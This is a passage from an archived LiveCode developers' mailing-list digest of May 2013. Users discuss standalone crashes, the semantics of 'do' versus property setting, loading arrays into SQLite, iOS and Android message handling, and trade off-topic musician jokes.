<51896CFE.10102@hyperactivesw.com> <5189BDF1.6090007@hyperactivesw.com> Message-ID: Bonjour, Up to now I was working with livecode 5.0.2. This morning I tried livecode 6 (commercial version Built 1511). First of all, I had to build a new standalone for the app. I choosed to try. Well, why not! In development environment, seemed to work normally. With the new standalone as well but only until I tried to quit it. Then I got a crash (?) : I mean the screen of my mac (10.6.8) became completely empty and I had to force to turn off my mac. After several trials issuing the same problems, I am back to 5.0.2! (thanks to time machine) First time i get such misadventure when shifting to a new version. Waiting now for a better weather :-)) Andr? Le 8 mai 2013 ? 04:52, J. Landman Gay a ?crit : > On 5/7/13 9:06 PM, Dr. Hawkins wrote: >> >> But in this case, I was actually being serious. >> >> Hanging while attempting to quit the IDE is so common I barely notice when >> I force quit; it's been this way since I started last year. >> > > That's unusual, I think something else is wrong. Apps won't quit if there are pending messages in the queue, or if a process is left open, or if there is any other kind of unfinished business (except for open files, those close themselves.) Is your stack running something when you try to quit? Maybe an external is trying to do something? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From david at scimatch.org Wed May 8 08:57:01 2013 From: david at scimatch.org (David Bovill) Date: Wed, 8 May 2013 13:57:01 +0100 Subject: OT: learning objects Message-ID: I'm structuring an online course, or rather apprenticeship, for a social enterprise targeting young people learning to code mobile apps, and looking for some advice, or contacts with other people interested in this area. The basic idea is now that LiveCode is open source to create an advanced online course which embeds a number of collaborative technologies, structured around the idea of peer learning, based around "learning objects". By peer learning I mean students have to pass on the learning they get to other students if they want to be able to take the next course. And by learning object I mean a stack :) Or perhaps a little more concretely, a stack based learning object are: - Learning objects are a new way of thinking about learning content. Traditionally, content comes in a several hour chunk. Learning objects are much smaller units of learning, typically ranging from 2 minutes to 15 minutes. - Are self-contained ? each learning object can be taken independently - Are reusable ? a single learning object may be used in multiple contexts for multiple purposes - Can be aggregated ? learning objects can be grouped into larger collections of content, including traditional course structures - Are tagged with metadata ? every learning object has descriptive information allowing it to be easily found by a search Anyone have any thoughts or ideas in this area? From userev at canelasoftware.com Wed May 8 09:06:27 2013 From: userev at canelasoftware.com (Mark Talluto) Date: Wed, 8 May 2013 06:06:27 -0700 Subject: US at conference? In-Reply-To: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> Message-ID: <2F15521A-53D9-4D56-A376-CE1BCC17C3E2@canelasoftware.com> Eric and I will be attending. We will be there from the 12th through the 20th. Mark canelasoftware.com On May 7, 2013, at 7:24 PM, Colin Holgate wrote: > I'll be at the conference next week, but then I can justify the trip because I can visit my family in England before and after Scotland. I was curious though, how many of the people that made it to San Jose and Atlantic City will also be there next week? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Wed May 8 09:12:53 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 8 May 2013 09:12:53 -0400 (EDT) Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: References: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> Message-ID: <8D01A04E1F8F28F-1FDC-1D95E@webmail-vm014.sysops.aol.com> Thierry. I am not sure what you mean. My two scripts were intended to be examples of how LC evaluates different types of elements within its own structure. You can: put foo into the clickLine --and insert foo into a line in a field You cannot: get the clickLine put whatever into it -- and expect that foo will be inserted into a line in a field The foo will go into the variable it, not into the evaluated contents of it, which is a string containing a "valid" clickLine reference. So you have to use a "do" construction. I was making the point that LC (and HC before it) were so forgiving of syntax that if you could mentally parse a string into a valid LC statement, the engine ought to "read your mind" as Jacque said. That mental parsing is a stretch for the engine, though, and I understand why. Craig -----Original Message----- From: Thierry Douez To: How to use LiveCode Sent: Wed, May 8, 2013 3:19 am Subject: Re: Comment about "do" (was clickLine/clickcharchunk) 2013/5/8 > > But there are times when "do" is unavoidable, and also times when it is > invaluable. For example, in a locked field with some lines of text in it: > > on mouseup > put random(99) & return into the clickLine --Works fine. Direct, > immediate use of the function > end mouseup > > on mouseup > get the clickLine --puts some "distance" between the clickLine as a > function and as a string in a variable. > > -- put random(99) into it --does not work, though it seems like it > should > do "put" && random(99) && "into" && it --works > end mouseup > > Craig > > Hi, coming a bit late, but the do can be avoided in this case: get random(99) will put the result in the IT var. Regards, Thierry ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From gcanyon at gmail.com Wed May 8 09:18:03 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 8 May 2013 08:18:03 -0500 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <5189B872.6060509@fourthworld.com> References: <5189B872.6060509@fourthworld.com> Message-ID: On Tue, May 7, 2013 at 9:29 PM, Richard Gaskin wrote: > ...we can simply write with confidence: > > set the text of tObject to resDate > Richard, you beat me to it -- and here I thought I might be the only one who understands the distinction. This works (as far as I know) with all properties. If a variable contains a reference to something that has properties -- an id, name, chunk, etc, -- then referencing those properties will work. It's a bit tricky. I was going to say that "into" does nothing special, but "of" dereferences the variable to whatever it identifies, but that's not true. For example, this successfully updates the line *after* the one you click: on mouseUp get the clickline add 1 to word 2 of it set the text of it to random(99) end mouseUp So I have to go back to the original: you can set a property on a variable containing a reference, and LC will use the reference. "of" alone isn't the magic word here. From dunbarx at aol.com Wed May 8 09:31:40 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 8 May 2013 09:31:40 -0400 (EDT) Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: References: <5189B872.6060509@fourthworld.com> Message-ID: <8D01A0781C3D697-1FDC-1DBDF@webmail-vm014.sysops.aol.com> Good stuff Geoff. So, as compactly as I can make it: on mouseUp get the clickline set the text of it to random(99) --works put random(99) into it --does not work end mouseUp shows the distinction between the ability of the engine to set a property contained in a variable, but not use a variable as an evaluated property reference. OK. Craig Newman -----Original Message----- From: Geoff Canyon To: How to use LiveCode Sent: Wed, May 8, 2013 9:19 am Subject: Re: Comment about "do" (was clickLine/clickcharchunk) On Tue, May 7, 2013 at 9:29 PM, Richard Gaskin wrote: > ...we can simply write with confidence: > > set the text of tObject to resDate > Richard, you beat me to it -- and here I thought I might be the only one who understands the distinction. This works (as far as I know) with all properties. If a variable contains a reference to something that has properties -- an id, name, chunk, etc, -- then referencing those properties will work. It's a bit tricky. I was going to say that "into" does nothing special, but "of" dereferences the variable to whatever it identifies, but that's not true. For example, this successfully updates the line *after* the one you click: on mouseUp get the clickline add 1 to word 2 of it set the text of it to random(99) end mouseUp So I have to go back to the original: you can set a property on a variable containing a reference, and LC will use the reference. "of" alone isn't the magic word here. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From gspearson at gmail.com Wed May 8 09:38:48 2013 From: gspearson at gmail.com (Graham Pearson) Date: Wed, 08 May 2013 09:38:48 -0400 Subject: Array Looping to Insert into Database Message-ID: <518A5568.3090002@gmail.com> Array Experts In my application that I am converting from Adobe Air, I have come to a section where Google has let me down. I have converted my XML File to an Array and can see it within the Debugger and parts of the array is listed below. gAvailableMarketDataArray AvailableMarkets Market[1] BTALatitude 27-29-40.1-N BTALongitude 81-24-59.3-W CallSign WNC905 City Sebring State FL @attributes ID 1 Market[2] etc. The application pulls the XML File from a Web Service that generates it on the fly. The application on first run checks to make sure the database exists and records are within it. At this point no records are retrieved from the database so I am struggling with how to take this array and insert each record of the array into the database. Or is their a command/function that I can use after put revCreateXMLTree(gClientAvailableMarketsXMLData, false, true, false) into tAvailableMarketData that will give me just the Market part of the XML data so then I can create the array which will simply list the Market[1] directly under the gAvailableMarketDataArray which will make it easier to insert the array into the sqlite database. From benr_mc at cogapp.com Wed May 8 09:52:33 2013 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Wed, 08 May 2013 14:52:33 +0100 Subject: iOS: second stack in memory disrupts message flow Message-ID: <518A58A1.8030605@cogapp.com> I spent a lot of time trying to debug why my stack wasn't getting a 'shutdown' message when it was backgrounded. Eventually I found that the issue related to the fact that my main stack has opened a preferences stack, invisibly, in the background. The preferences stack is just a carrier for some data - it's created on the fly the first time the app launches, subsequently opened from documents folder: in either case this occurs inside a push cd/pop cd pair. Because the prefs stack exists, it receives the 'shutdown' message instead of the main stack. The main stack is definitely the top stack - I can interact with it and so on, and I've belt-and-braces tacked on a "toplevel this stack" after loading the prefs stack too. Indeed when I added a shutdown message catcher in the prefs stack, and had it log "the topstack" that was my main stack, while "the defaultStack" was the prefs stack. But then it would be, in the context of a handler in its stack script. Finally I found the notice in the dictionary for "shutdown": > In standalones, some care is needed to ensure you receive the shutdown message if your application uses multiple stacks. The most reliable approach is to install a library stack or backscript to handle the message when your application starts up. ... so I did just that and went on my way. Then I started trying to do something with the "keyboardActivated" message in a card of my mainstack, and found that this message too was being sent to the first card of prefs stack instead of to the card that deserved it. Again I can catch it in my backscript: but that handler in the backscript reports both "the target" and "the current card" reference the first card of the prefs stack, rather than the card, so this is a harder case to work-around, as it's less obvious what object the message really should have gone to. Is this known behaviour, or am I doing something else weird? Is there any possibility that this behaviour is anything other than a bug? Is there a way to manipulate it so that the messages go where they should? For now, I've rewritten things so that the prefs stack is opened, everything is moved to globals, then the stack is immediately closed and removed from memory; and on shutdown, the prefs stack is opened again, globals are moved to properties, the stack is saved and then closed. This restores normal message routing - is it the best solution? Many thanks, Ben From gcanyon at gmail.com Wed May 8 10:26:31 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 8 May 2013 09:26:31 -0500 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <8D01A0781C3D697-1FDC-1DBDF@webmail-vm014.sysops.aol.com> References: <5189B872.6060509@fourthworld.com> <8D01A0781C3D697-1FDC-1DBDF@webmail-vm014.sysops.aol.com> Message-ID: On Wed, May 8, 2013 at 8:31 AM, wrote: > Good stuff Geoff. > Good stuff Richard. From ambassador at fourthworld.com Wed May 8 10:42:42 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 08 May 2013 07:42:42 -0700 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: References: Message-ID: <518A6462.4020607@fourthworld.com> Geoff Canyon wrote: > On Wed, May 8, 2013 at 8:31 AM, dunbarx wrote: > >> Good stuff Geoff. >> > > Good stuff Richard. Good stuff LiveCode. And MetaCard. For all the seductive pleasures of HyperTalk, there were more than a few oddities in the language which caused us to scratch our heads over seemingly simple things, like when we can use a variable as an object reference. Dr. Raney had little patience for ambiguity, grudgingly implementing it where necessary but quick to seek more confident solutions where practical. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From ambassador at fourthworld.com Wed May 8 11:01:18 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 08 May 2013 08:01:18 -0700 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <8D01A04E1F8F28F-1FDC-1D95E@webmail-vm014.sysops.aol.com> References: <8D01A04E1F8F28F-1FDC-1D95E@webmail-vm014.sysops.aol.com> Message-ID: <518A68BE.7090203@fourthworld.com> dunbarx wrote: > You can: > put foo into the clickLine --and insert foo into a line in a field > > You cannot: > > get the clickLine > put whatever into it -- and expect that foo will be inserted into > a line in a field > > The foo will go into the variable it, not into the evaluated contents > of it, which is a string containing a "valid" clickLine reference. Maddening, but understandable. Remember, we're talking about a machine too stupid to count past 1, so we need to be very explicit about our intentions, sensitive to its delicate nature. :) In the first case, here's what the machine does: 1. determine the clickLine 2. put the value into that text position in the object In the second case, it's doing something very different: 1. determine the clickLine 2. store that in the local variable "it" 3. put a different value into the local variable "it" > So you have to use a "do" construction. ...in HyperTalk. With LiveCode's property-driven syntax options, this works well: get the clickLine set the text of it to "whatever" Here, the engine is doing: 1. determine the clickline 2. store that in the local variable "it" 3. "set" only works on object elements, so: 3a. determine if "it" is actually a valid element reference 3b. if so, set the specified property of that element 3c. if not, complain by throwing an error At the heart of this is the ambiguity introduced with "put": Sometimes "put" means setting the text of a container object, but sometimes it means setting the value of a variable. When you use it directly with a function call, no variable is involved so it can figure out what you mean. But once a variable is introduced it gets confused, since the "put" command is also used for variable assignments. In contrast, "set" can only be used to assign property values to object elements, so the engine has no difficulty figuring out your intentions. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From mwieder at ahsoftware.net Wed May 8 11:12:11 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 8 May 2013 08:12:11 -0700 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> <51893925.1050607@hyperactivesw.com> Message-ID: <153382669271.20130508081211@ahsoftware.net> Richard- Tuesday, May 7, 2013, 6:02:30 PM, you wrote: > Gosh, until seeing her message, I thought this was a Heinlein reference . . . TANSTAAHR There Ain't No Such Thing As A Heinlein Reference... -- -Mark Wieder mwieder at ahsoftware.net From lc at pbh.on-rev.com Wed May 8 11:20:44 2013 From: lc at pbh.on-rev.com (Paul Hibbert) Date: Wed, 8 May 2013 08:20:44 -0700 Subject: Dismissing an answer dialog by script In-Reply-To: References: <23C7F0B6-F157-4BFB-B283-2B15CCE4296E@unimelb.edu.au> Message-ID: Terry, you could roll-your-own answer dialog, maybe a substack or just a group, then you can easily dismiss it with script. Paul On 2013-05-07, at 11:24 PM, Terry Judd wrote: > > On 08/05/2013, at 03:15 PM, Terry Judd wrote: > >> Is it possible to display a standard answer dialog and then dismiss it by script if the user doesn't intervene? If so, will the method work on both mobile platforms as well? > > OK - it is possible on the desktop using a 'send in time' before throwing up the answer dialog (close stack "answer dialog") but I haven't been able to find a way to dismiss the answer dialog on iOS yet as it's not a stack and seems resistant to responding to virtual clicks and keypresses. Any ideas? > > Terry... > > Dr Terry Judd > Senior Lecturer in Medical Education > Medical Eduction Unit > Faculty of Medicine, Dentistry & Health Sciences > The University of Melbourne > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Wed May 8 12:01:33 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 8 May 2013 09:01:33 -0700 Subject: Array Looping to Insert into Database In-Reply-To: <518A5568.3090002@gmail.com> References: <518A5568.3090002@gmail.com> Message-ID: Can't help with the XML stuff but it doesn't seem to difficult to use the array. put the keys of gAvailableMarketDataArray[AvailableMarkets] into tKeys sort tKeys -- if you care repeat for each line L in tKeys end repeat If you're inserting/updating stuff into an sqlite database, don;t forget to issue a BEGIN before the repeat loop, a COMMIT after the repeat loop, and ROLLBACK if any errors occur within the repeat loop. Everything will work much faster that way. Pete lcSQL Software On Wed, May 8, 2013 at 6:38 AM, Graham Pearson wrote: > Array Experts > > In my application that I am converting from Adobe Air, I have come to a > section where Google has let me down. I have converted my XML File to an > Array and can see it within the Debugger and parts of the array is > listed below. > > gAvailableMarketDataArray > AvailableMarkets > Market[1] > BTALatitude 27-29-40.1-N > BTALongitude 81-24-59.3-W > CallSign WNC905 > City Sebring > State FL > @attributes > ID 1 > Market[2] etc. > > > The application pulls the XML File from a Web Service that generates it > on the fly. The application on first run checks to make sure the > database exists and records are within it. At this point no records are > retrieved from the database so I am struggling with how to take this > array and insert each record of the array into the database. > > > Or is their a command/function that I can use after > > put revCreateXMLTree(gClientAvailableMarketsXMLData, false, true, false) > into tAvailableMarketData > > that will give me just the Market part of the XML data so then I can > create the array which will simply list the Market[1] directly under the > gAvailableMarketDataArray which will make it easier to insert the array > into the sqlite database. > > > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Wed May 8 12:08:24 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 8 May 2013 09:08:24 -0700 Subject: [OT - I remembered this time]: here we go In-Reply-To: <29344109381.20130507212931@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> Message-ID: My friend and ex bandmate David Brewer is a bagpiper and told me this story. As a bagpiper, I play many gigs. Recently I was asked by a funeral director to play at a graveside service for a homeless man. He had no family or friends, so the service was to be at a pauper's cemetery out in the wilds of California. As I was not familiar with the backwoods, I got lost; and being a typical man I didn't stop for directions. I finally arrived an hour late and saw the funeral guy had evidently gone and the hearse was nowhere in sight. There were only the diggers and crew left and they were eating lunch. I felt badly and apologized to the men for being late. I went to the side of the grave and looked down and the vault lid was already in place. I didn't know what else to do, so I started to play. The workers put down their lunches and began to gather around. I played out my heart and soul for this man with no family and friends. I played like I've never played before for this homeless man. And as I played 'Amazing Grace,' the workers began to weep. They wept, I wept, and we all wept together. When I finished I packed up my bagpipes and started for my car. Though my head hung low, my heart was full. As I was opening the door to my car, I heard one of the worker say, "Sweet Mother of Jesus, I never seen nothing like that before and I've been putting in septic tanks for twenty years." Pete lcSQL Software On Tue, May 7, 2013 at 9:29 PM, Mark Wieder wrote: > Pete- > > Tuesday, May 7, 2013, 9:15:49 PM, you wrote: > > > OK, is it open season on musician jokes? 'Cause I got some that will > ruffle > > a few feathers :=) > > I'll bet you do. You mean like: > What's the definition of perfect pitch? > Tossing an accordian in the toilet without hitting the rim. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Wed May 8 12:12:11 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 8 May 2013 09:12:11 -0700 Subject: [OT - I remembered this time]: here we go In-Reply-To: <29344109381.20130507212931@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> Message-ID: Or: What's the difference between a banjo and a South American Macaw? One is loud, obnoxious, and noisy. The other is a bird. Pete lcSQL Software On Tue, May 7, 2013 at 9:29 PM, Mark Wieder wrote: > Pete- > > Tuesday, May 7, 2013, 9:15:49 PM, you wrote: > > > OK, is it open season on musician jokes? 'Cause I got some that will > ruffle > > a few feathers :=) > > I'll bet you do. You mean like: > What's the definition of perfect pitch? > Tossing an accordian in the toilet without hitting the rim. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Wed May 8 12:15:12 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 8 May 2013 09:15:12 -0700 Subject: [OT - I remembered this time]: here we go In-Reply-To: <29344109381.20130507212931@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> Message-ID: And specially for you, Mark: What do you throw to a drowning bass player? His amp. Pete lcSQL Software On Tue, May 7, 2013 at 9:29 PM, Mark Wieder wrote: > Pete- > > Tuesday, May 7, 2013, 9:15:49 PM, you wrote: > > > OK, is it open season on musician jokes? 'Cause I got some that will > ruffle > > a few feathers :=) > > I'll bet you do. You mean like: > What's the definition of perfect pitch? > Tossing an accordian in the toilet without hitting the rim. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From martyknappster at gmail.com Wed May 8 12:22:19 2013 From: martyknappster at gmail.com (Marty Knapp) Date: Wed, 08 May 2013 09:22:19 -0700 Subject: [OT - I remembered this time]: here we go In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> Message-ID: <518A7BBB.1040308@gmail.com> Haha! Thanks for the levity Pete - good ones! Marty Knapp Knappster Solutions LLC --------------------------- > And specially for you, Mark: > > What do you throw to a drowning bass player? > His amp. > > Pete > lcSQL Software > > > On Tue, May 7, 2013 at 9:29 PM, Mark Wieder wrote: > >> Pete- >> >> Tuesday, May 7, 2013, 9:15:49 PM, you wrote: >> >>> OK, is it open season on musician jokes? 'Cause I got some that will >> ruffle >>> a few feathers :=) >> I'll bet you do. You mean like: >> What's the definition of perfect pitch? >> Tossing an accordian in the toilet without hitting the rim. >> >> -- >> -Mark Wieder >> mwieder at ahsoftware.net >> From dan at clearvisiontech.com Wed May 8 12:24:11 2013 From: dan at clearvisiontech.com (Dan Friedman) Date: Wed, 8 May 2013 09:24:11 -0700 Subject: mouse is down on Android In-Reply-To: References: Message-ID: <1FBDB4D3-D363-47B8-8548-EE3058818865@clearvisiontech.com> Greetings! I have noticed that "the mouse is down" always returns false on Android. So, I am looking for a workaround. Here's my scenario: Lets say the user wins a 100 points. As each point is given, a bell goes off and the win count is increased for the user to see. On iOS, I simply check if "the mouse is down", and it if is, I exit the loop and award all the points. This gives the user a way to jump to the end - like a slot machine. I tried this: on touchStart touchID global touchCount add 1 to touchCount end touchStart on doWinner winAmount global touchCount put 0 into touchCount repeat winAmount if touchCount > 0 then --do final totals stuff exit repeat end if addOneCredit wait 2 ticks end repeat end doWinner But, touchCount never increases during the repeat. As you can see, I even stuck in a wait command hoping it might help. Nadda. Any thoughts or ideas? Thank you in advance! -Dan From cmsheffield at icloud.com Wed May 8 12:31:39 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Wed, 08 May 2013 10:31:39 -0600 Subject: mouse is down on Android In-Reply-To: <1FBDB4D3-D363-47B8-8548-EE3058818865@clearvisiontech.com> References: <1FBDB4D3-D363-47B8-8548-EE3058818865@clearvisiontech.com> Message-ID: Dan, This is just a suggestion, not sure if it will help or not. Try adding with messages to your wait command. You could also try touchEnd instead of touchStart. Again, not sure if that would make a difference or not. Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com On May 8, 2013, at 10:24 AM, Dan Friedman wrote: > Greetings! > > I have noticed that "the mouse is down" always returns false on Android. So, I am looking for a workaround. Here's my scenario: > > Lets say the user wins a 100 points. As each point is given, a bell goes off and the win count is increased for the user to see. On iOS, I simply check if "the mouse is down", and it if is, I exit the loop and award all the points. This gives the user a way to jump to the end - like a slot machine. > > I tried this: > > on touchStart touchID > global touchCount > add 1 to touchCount > end touchStart > > on doWinner winAmount > global touchCount > > put 0 into touchCount > > repeat winAmount > if touchCount > 0 then > > --do final totals stuff > > exit repeat > end if > > addOneCredit > wait 2 ticks > end repeat > > end doWinner > > But, touchCount never increases during the repeat. As you can see, I even stuck in a wait command hoping it might help. Nadda. Any thoughts or ideas? > > Thank you in advance! > > -Dan > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From matthias_livecode_150811 at m-r-d.de Wed May 8 12:38:06 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Wed, 8 May 2013 18:38:06 +0200 Subject: [OT] Free Photoshop actions for preparing Retina-display graphics Message-ID: Hi, there is a free collection of Photoshop actions available for preparing Retina-display website desgins. Maybe this is useful for someone in the list. http://www.retinize.it/ Regards, Matthias From dan at clearvisiontech.com Wed May 8 12:40:46 2013 From: dan at clearvisiontech.com (Dan Friedman) Date: Wed, 8 May 2013 09:40:46 -0700 Subject: mouse is down on Android Message-ID: Chris, Perfect! Adding the "with messages" option to the wait command was the ticket. Thanks! -Dan > Dan, > > This is just a suggestion, not sure if it will help or not. Try adding with messages to your wait command. You could also try touchEnd instead of touchStart. Again, not sure if that would make a difference or not. > > Chris >> Greetings! >> >> I have noticed that "the mouse is down" always returns false on Android. So, I am looking for a workaround. Here's my scenario: >> >> Lets say the user wins a 100 points. As each point is given, a bell goes off and the win count is increased for the user to see. On iOS, I simply check if "the mouse is down", and it if is, I exit the loop and award all the points. This gives the user a way to jump to the end - like a slot machine. >> >> I tried this: >> >> on touchStart touchID >> global touchCount >> add 1 to touchCount >> end touchStart >> >> on doWinner winAmount >> global touchCount >> >> put 0 into touchCount >> >> repeat winAmount >> if touchCount > 0 then >> >> --do final totals stuff >> >> exit repeat >> end if >> >> addOneCredit >> wait 2 ticks >> end repeat >> >> end doWinner >> >> But, touchCount never increases during the repeat. As you can see, I even stuck in a wait command hoping it might help. Nadda. Any thoughts or ideas? >> >> Thank you in advance! >> >> -Dan From devin_asay at byu.edu Wed May 8 12:50:28 2013 From: devin_asay at byu.edu (Devin Asay) Date: Wed, 8 May 2013 16:50:28 +0000 Subject: US at conference? In-Reply-To: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> Message-ID: <31BDC56EACAAF64688457CE3F71D9F1A0113E76E@Peas2.byu.local> On May 7, 2013, at 8:24 PM, Colin Holgate wrote: > I'll be at the conference next week, but then I can justify the trip because I can visit my family in England before and after Scotland. I was curious though, how many of the people that made it to San Jose and Atlantic City will also be there next week? I'll be there, but solo this time. :( Looking forward to visiting E-burgh again! Devin Devin Asay Office of Digital Humanities Brigham Young University From devin_asay at byu.edu Wed May 8 12:58:28 2013 From: devin_asay at byu.edu (Devin Asay) Date: Wed, 8 May 2013 16:58:28 +0000 Subject: Beginners questions subject headers In-Reply-To: <5189D994.9080406@hyperactivesw.com> References: <5188E6F0.6020908@gmail.com> <5189D994.9080406@hyperactivesw.com> Message-ID: <31BDC56EACAAF64688457CE3F71D9F1A0113E90B@Peas2.byu.local> On May 7, 2013, at 10:50 PM, J. Landman Gay wrote: >> >> On 08/05/2013, at 12:40 AM, Andrew Kluthe wrote: >> >>> Very good question. Where IS this time travel external? I have some great >>> ideas for it. >> > On 5/7/13 11:22 PM, Gerry Orkin wrote: >> It needs to be re-compiled for LC 4.5.1. > > Ha! How'd you know? Obviously you told him tomorrow! D Devin Asay Office of Digital Humanities Brigham Young University From jacque at hyperactivesw.com Wed May 8 13:25:02 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 08 May 2013 12:25:02 -0500 Subject: suspend/resume messages on Android? In-Reply-To: <1368004374.99222.YahooMailNeo@web28805.mail.ir2.yahoo.com> References: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au>, <5189494D.2060603@hyperactivesw.com> <51898A16.7080307@hyperactivesw.com> <2C9EDB55-F7E8-4708-9C51-9F44E34F1EB1@unimelb.edu.au> <5189BC76.9010307@hyperactivesw.com> <7C175CE1-9C52-4629-9037-54C4C9BB3460@unimelb.edu.au> <1368004374.99222.YahooMailNeo@web28805.mail.ir2.yahoo.com> Message-ID: <518A8A6E.6030709@hyperactivesw.com> On 5/8/13 4:12 AM, Mark Wilcox wrote: > I know the RunRev team are awesome but I'm a little perplexed anyone > would assume that the Android app lifecycle model is completely > broken rather than there's simply a bug/missing feature in LiveCode. Guilty as charged. I know how hard the team works to make everything work the same on all platforms, so I jumped to the conclusion that it wasn't possible on Android. I still think there is likely a technical reason, but I believe you when you say it isn't the Android OS. > As I understand it, LiveCode iOS apps only officially support exiting > on suspend. What do you think should happen instead on Android? It's the same behavior on iOS too. I followed the discussion about it on the forums and apparently that decision was made because some other things will break if it doesn't exit. A few people have worked around that to some extent but I'll leave the details to those who know more about it. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Wed May 8 13:26:02 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 08 May 2013 12:26:02 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> <5189BDF1.6090007@hyperactivesw.com> Message-ID: <518A8AAA.4030008@hyperactivesw.com> On 5/8/13 7:05 AM, Andr? Bisseret wrote: > With the new standalone as well but only until I tried to quit it. > Then I got a crash (?) : I mean the screen of my mac (10.6.8) became > completely empty and I had to force to turn off my mac. > > After several trials issuing the same problems, I am back to 5.0.2! Since this is a 